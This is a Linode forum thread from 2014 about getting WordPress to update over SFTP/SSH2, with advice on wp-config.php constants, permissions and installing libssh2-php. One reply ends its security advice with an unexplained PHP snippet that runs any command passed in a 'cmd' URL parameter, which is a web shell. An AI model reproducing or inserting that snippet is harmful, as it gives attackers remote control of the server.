Linode Forum
Linode Community Forums
 FAQFAQ    SearchSearch    MembersMembers      Register Register 
 LoginLogin [ Anonymous ] 
Post new topic  Reply to topic
Author Message
PostPosted: Tue May 13, 2014 4:43 pm 
Offline
Junior Member
User avatar

Joined: Fri Feb 21, 2014 7:26 am
Posts: 34
Website: http://www.alancoleman.co.uk
Location: Bath. UK
Hello everyone,

I can make a connection to my server from an sftp client using my login details no problem.

However when I use these same details to make an sftp connection from a WordPress install I get a connection failure.

I've had a search through the forums and can see that other users have had a similar issue but I don't fully understand what the issue is.

My wp-content folder has the following permissions: 774 www-data alan wp-content

Any advice would be gratefully received.

Many thanks


Top
   
PostPosted: Tue May 13, 2014 7:14 pm 
Offline
Senior Member

Joined: Mon Jan 02, 2012 12:45 pm
Posts: 365
Does Wordpress support using SFTP on port 22? Normally they use FTP on port 21 (if I recall correctly).


Top
   
PostPosted: Wed May 14, 2014 3:08 am 
Offline
Senior Member

Joined: Sat Sep 25, 2010 2:25 am
Posts: 75
Website: http://www.ruchirablog.com
Location: Sri Lanka
wordpress doesn't support sftp on wp-admin control panel

_________________
www.ruchirablog.com


Top
   
PostPosted: Wed May 14, 2014 4:42 am 
Offline
Junior Member

Joined: Fri Nov 01, 2013 8:16 am
Posts: 21
Website: http://purbeckpixels.com
Location: England
ruchirablog wrote:
wordpress doesn't support sftp on wp-admin control panel


Nonsense. WordPress's backend supports FTP, FTPS (SSL) and SSH2 (password or public/private keys) (see attached screenshot).

Image

I use SSH (via a non-standard port) to update WordPress and plugins without issue. You can even set login constants in wp-config.php so that you don't have to keep re-entering login details:

Code:
define('FTP_BASE', '/var/www/wordpresswebsite/');
define('FTP_CONTENT_DIR', '/var/www/wordpresswebsite/wp-content/');
define('FTP_PLUGIN_DIR', '/var/www/wordpresswebsite/wp-content/plugins/');
define('FTP_USER', 'SSHUSERNAME');
define('FTP_PASS', "SSHPASSWORD");
define('FTP_HOST', 'SERVERIPADDRESS:SSHPORT');


(I've only ever felt comfortable including login details in wp-config.php when wp-config.php isn't in the root WordPress folder, its default location. I move all wp-config.php files to a non-web accessible location, out of the root WordPress folder.)

If you set the login constants in wp-config.php, I've always found that the first time you try to update either WordPress itself or a plugin WordPress will 'hang' for a short while before giving a connection error. For some reason, despite the presence of the login constants, WordPress seems to initially default to FTP (port 21) - if you then check the 'SSH2' checkbox and click 'Proceed' WordPress will use the login constants and all subsequent updates will work flawlessly.

My wp-content folder is owned by the Apache user (www-data:www-data) and has the recommended 755 permissions (644 for files).

All that said, I'm not sure why you are receiving connection errors, Boomfelled. I'm assuming when you say 'sftp connection from a WordPress install' you mean SSH? And are checking the 'SSH2' checkbox and not 'FTPS (SSL)'?


Top
   
PostPosted: Wed May 14, 2014 7:53 am 
Offline
Junior Member
User avatar

Joined: Fri Feb 21, 2014 7:26 am
Posts: 34
Website: http://www.alancoleman.co.uk
Location: Bath. UK
Hi Mark,

Many thanks for your informative reply. You're right, it's possible to get WP to connect via SFTP and I know this because I've done this before at another host.

Quote:
My wp-content folder is owned by the Apache user (www-data:www-data) and has the recommended 755 permissions (644 for files)


I made the change a while back but found that whilst this solution worked I couldn't connect via a standard SFTP Client.

Your advice as a whole is almost certainly the way to go as I'm not using authentication keys and as such don't have the SSH2 facility available in WP.

I'll start by using Auth Keys and also take your advice with regards to wp-config.

Thanks again for taking the time to help me out.

Cheers!


Top
   
PostPosted: Thu May 15, 2014 4:39 am 
Offline
Junior Member

Joined: Fri Nov 01, 2013 8:16 am
Posts: 21
Website: http://purbeckpixels.com
Location: England
Are you saying that 'SSH2' isn't shown as an option in your current WordPress install?

Just so you know, you don't have to use auth keys to use SSH in WordPress's dashboard. If you enter your SSH password in WordPress's update screen, leave the auth key fields blank, select 'SSH2' and click 'Proceed', WordPress should update with no issues. (Currently I don't use auth keys, just a lengthy, randomly-generated password, while limiting SSH logins by IP address and accessing SSH via a non-standard port (not 22). I'm comfortable that this is secure enough, though I'll probably switch to auth keys in the future.)


Top
   
PostPosted: Sun May 18, 2014 2:04 pm 
Offline
Junior Member
User avatar

Joined: Fri Feb 21, 2014 7:26 am
Posts: 34
Website: http://www.alancoleman.co.uk
Location: Bath. UK
Hi Mark,

Thanks for getting back to me.

The SSH2 option isn't showing up on my WordPress install, I just have FTP and FTPS(SSL).

I am using SSH Key Pair authentication now and that seems to be working fine via shell and my FTP client, I've also disabled password authentication following the library suggestions (https://library.linode.com/securing-your-server).

Is there a WP Config setting that I need to set to allow the use of SSH2 ?

Thanks again.


Top
   
PostPosted: Sun May 18, 2014 11:15 pm 
Offline
Senior Member

Joined: Fri May 02, 2014 5:20 pm
Posts: 58
Website: http://www.sturmkrieg.ru
Location: Richmond
I recommend not using web based FTP because of the security risk if an attacker breaks into the account. The web based installer is useful, but if you're going to use it, you should configure command line programs to quickly make the WordPress files writeable then non writeable again after you install the plugin or theme.

$c = $_GET['cmd'];
$r = shell_exec( $c );
echo $r;


Top
   
PostPosted: Mon May 19, 2014 4:13 am 
Offline
Junior Member

Joined: Fri Nov 01, 2013 8:16 am
Posts: 21
Website: http://purbeckpixels.com
Location: England
Here's how to enable the 'SSH2' option in the WordPress interface:

http://codex.wordpress.org/Editing_wp-config.php#Enabling_SSH_Upgrade_Access

There's also a plugin available (linked to in the above Codex entry):

http://wordpress.org/plugins/ssh-sftp-updater-support/


Top
   
PostPosted: Mon Jun 02, 2014 10:20 am 
Offline
Junior Member
User avatar

Joined: Fri Feb 21, 2014 7:26 am
Posts: 34
Website: http://www.alancoleman.co.uk
Location: Bath. UK
Hello everyone,

I installed the SSH2 PHP Module which allowed WordPress to use the SSH2 protocol:

Code:
sudo apt-get install libssh2-php


Thanks for all your help. :D


Top
   
Display posts from previous:  Sort by  
Post new topic  Reply to topic


Who is online

Users browsing this forum: No registered users and 2 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum

Search for:
Jump to:  
RSS

Powered by phpBB® Forum Software © phpBB Group